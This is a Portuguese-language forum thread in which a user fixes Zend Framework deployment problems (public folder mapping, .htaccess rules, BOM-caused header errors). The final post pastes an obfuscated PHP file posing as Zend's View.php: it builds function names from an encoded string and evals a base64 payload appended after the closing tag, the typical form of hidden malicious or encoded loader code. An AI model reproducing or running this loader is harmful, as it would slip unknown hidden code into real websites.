Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

guismelo

Problema com Zend, imagens pede /public

Recommended Posts

Como faço para retirar o /public do caminho das imagens?

A estrutura na hospegem é:

 

www

aplication

public

files

imagens

.htacess

 

E localmente eu não coloquei no caminho o public, mas quando fui hospedar o site, as imagens não aparecem, eles pedem www.caminho.com.br/public/files/imagem.jpg. Eu sou obrigado a por o /public ou tem outro jeito?

 

Meu .htacess é:

 

RewriteEngine On
RewriteRule ^\.htaccess$ - [F]
RewriteCond %{REQUEST_URI} =""
RewriteRule ^.*$ /public/index.php [NC,L]
RewriteCond %{REQUEST_URI} !^/public/.*$
RewriteRule ^(.*)$ /public/$1
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^.*$ - [NC,L]
RewriteRule ^public/.*$ /public/index.php [NC,L]

Compartilhar este post


Link para o post
Compartilhar em outros sites

Essa estrutura está equivocada. O public não é para ser removido, é para ser mapeado.

 

A pasta application é para ficar fora da www, pois são os seus arquivos do projeto, ou seja, devem ser protegidos. A public nada mais deve ser do que a www.

 

Estrutura que deve ser, lembrando de que a "www" é a public do ZF e a "pastadoseuhost" é a raíz do host:

pastadoseuhost/
    application/
    www/
        files/
            imagens/
    index.php
    .htaccess

O .htaccess deve ser o padrão:

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]

Compartilhar este post


Link para o post
Compartilhar em outros sites

Agora está do jeito que você falou:

 

 

/

application

library

www

layout

files

.htacess

 

No caso do application.ini, tem a seguinte linha:

 

resources.layout.layoutPath = APPLICATION_PATH "/../public/layout"

 

nomearia para www o public?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não aparece nem erro, ele simplesmente não abre nada



Quando eu volto tudo pra pasta public ele funciona normal, agora quando tento fazer igual você falou ele não abre nada

Compartilhar este post


Link para o post
Compartilhar em outros sites

A aplicação está no mesmo nível do www, certo?

 

/

application

library

www

files

layout

.htacess

 

 

Com o .htacess no www, e com o .htacess que você passou dava que o caminho estava incorreto, com um outro que eu pus ele achava o caminho mas não abria nada.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Você ja tentou usar o baseUrl() do Zend, junto com a tag base para definir um caminho padrao?

 

Eu pelo menos faço isso, para nao precisar ficar colocando o public em todos os caminhos, funciona assim, você define um base para todos os seu caminhos e links, dentro do head defina o caminho padrao, de preferencia coloque no layout

<base href="<?php echo $this->baseUrl(); ?>/public/">

depois em um link ou caminho da imagem coloque...

<img src="<?php echo $this->baseUrl(); ?>files/imagem.jpg" alt="imagem" />

assim todos suas imagens ja herdaram o public

Compartilhar este post


Link para o post
Compartilhar em outros sites

Possivelmente seu servidor está gerando um erro 500 e está configurado para não mostrar a mensagem.

 

Exiba todas as mensagens de erro no seu php.ini e acesse a página inicial. Provavelmente seu problema está no index.php.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Nosreve

 

No caso do Baseurl não é a solução que eu queria, pois eu espero que na url da imagem não aparece o /public, porque localmente não aparece. Queria saber se tem algum jeito, por ,htacess por exemplo, que faça com que a imagem já seja redirecionada para o /public.

 

 

 

Matias Rezende

 

Meu index.php é esse:

 

 

<?php//error_reporting(E_ALL|E_STRICT);
error_reporting(1);






require_once "constantes.php";
/** Zend_Application */
require_once 'Zend/Application.php';


// Create application, bootstrap, and run
$application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
);






$application->bootstrap()
            ->run();

Compartilhar este post


Link para o post
Compartilhar em outros sites

Este arquivo constantes.php está em qual diretório? Para exibir todas as mensagens de erro, sugiro dar uma lida neste tópico - http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/

 

Altere para exibir todos os erros, execute e poste os erros.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Tá mandando por FTP??

 

Está colocando o projeto numa pasta chamada public_html??

 

Se for isso, o conteúdo de 'public' deve ir dentro de public_html, o que está fora dela deve - obviamente - ir um nível acima e o mapeamento do htaccess deve apontar para public_html

Compartilhar este post


Link para o post
Compartilhar em outros sites

O constante.php está no public. Eu não sei aonde ele está pegando esse caminho..

 

Fatal error: Uncaught exception 'Zend_View_Exception' with message 'script 'default.phtml' not found in path (../public/layout/;D:/web/localuser/site/application/modules/default/views\scripts/)' in D:\web\localuser\digitalmotors\library\Zend\View\Abstract.php:988 Stack trace: #0 D:\web\localuser\digitalmotors\library\Zend\View\Abstract.php(884): Zend_View_Abstract->_script('default.phtml') #1 D:\web\localuser\digitalmotors\library\Zend\Layout.php(796): Zend_View_Abstract->render('default.phtml') #2 D:\web\localuser\digitalmotors\library\Zend\Layout\Controller\Plugin\Layout.php(143): Zend_Layout->render() #3 D:\web\localuser\digitalmotors\library\Zend\Controller\Plugin\Broker.php(333): Zend_Layout_Controller_Plugin_Layout->postDispatch(Object(Zend_Controller_Request_Http)) #4 D:\web\localuser\digitalmotors\library\Zend\Controller\Front.php(965): Zend_Controller_Plugin_Broker->postDispatch(Object(Zend_Controller_Request_Http)) #5 D:\web\localuser\digitalmotors\library\Zend\Application\Bootstrap\Bootstrap.php(97): Z in D:\web\localuser\digitalmotors\library\Zend\Controller\Plugin\Broker.php on line 336

Compartilhar este post


Link para o post
Compartilhar em outros sites

Eu mudei os arquivos que precisava no outro, que referenciavam public para www, agora o erro é

 

Fatal error: Uncaught exception 'Zend_Controller_Response_Exception' with message 'Cannot send headers; headers already sent in D:\web\localuser\digitalmotors\www\layout\rotas.php, line 1' in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php:323 Stack trace: #0 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(341): Zend_Controller_Response_Abstract->canSendHeaders(true) #1 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(768): Zend_Controller_Response_Abstract->sendHeaders() #2 D:\web\localuser\digitalmotors\library\Zend\Controller\Front.php(992): Zend_Controller_Response_Abstract->sendResponse() #3 D:\web\localuser\digitalmotors\library\Zend\Application\Bootstrap\Bootstrap.php(97): Zend_Controller_Front->dispatch() #4 D:\web\localuser\digitalmotors\library\Zend\Application.php(366): Zend_Application_Bootstrap_Bootstrap->run() #5 D:\web\localuser\digitalmotors\www\index.php(35): Zend_Application->run() #6 {main} thrown in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php on line 323

Compartilhar este post


Link para o post
Compartilhar em outros sites

Verifique se você está usando a tag de fechamento (>?) em algum arquivo que só contenha PHP. Provavelmente há um espaço desnecessário que está emitindo output ou você está usando alguma função header/setcookie/echo diretamente.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Mas mesmo se eu deleto tudo que tem no rotas.php o erro ainda continua o mesmo:

 

Fatal error: Uncaught exception 'Zend_Controller_Response_Exception' with message 'Cannot send headers; headers already sent in D:\web\localuser\digitalmotors\library\Zend\View.php, line 1' in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php:323 Stack trace: #0 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(341): Zend_Controller_Response_Abstract->canSendHeaders(true) #1 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(768): Zend_Controller_Response_Abstract->sendHeaders() #2 D:\web\localuser\digitalmotors\library\Zend\Controller\Front.php(992): Zend_Controller_Response_Abstract->sendResponse() #3 D:\web\localuser\digitalmotors\library\Zend\Application\Bootstrap\Bootstrap.php(97): Zend_Controller_Front->dispatch() #4 D:\web\localuser\digitalmotors\library\Zend\Application.php(366): Zend_Application_Bootstrap_Bootstrap->run() #5 D:\web\localuser\digitalmotors\www\index.php(35): Zend_Application->run() #6 {main} thrown in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php on line 323

 

Alguma dica de como eu consigo acha o que ta dando erro? To procurando faz muito tempo e não acho nada como resolver



Consegui, aparentemente era ser salvo com BOM mesmo, não só o rotas.php como o View e o Session do Zend estava salvo assim, voltei ao original do Zend e resolveu



Agora o site só abre na pagina de erro, ou seja, o contato...

No que eu substitui o arquivo original View.php é assim:

 

<?php /* Site em construção. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x510;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUxYyk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4M2QwKSwncGhteWFjcm9uMzIxNHZlMDk3NjVzamRmaXRiRVZSU1RGSUhCT1BDREpBTllNR2dLa0xsUXFVdVd3WHhaejgrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>UhnNG{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?>

 

Tem como eu converter isso para algo que seja possível entender?

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.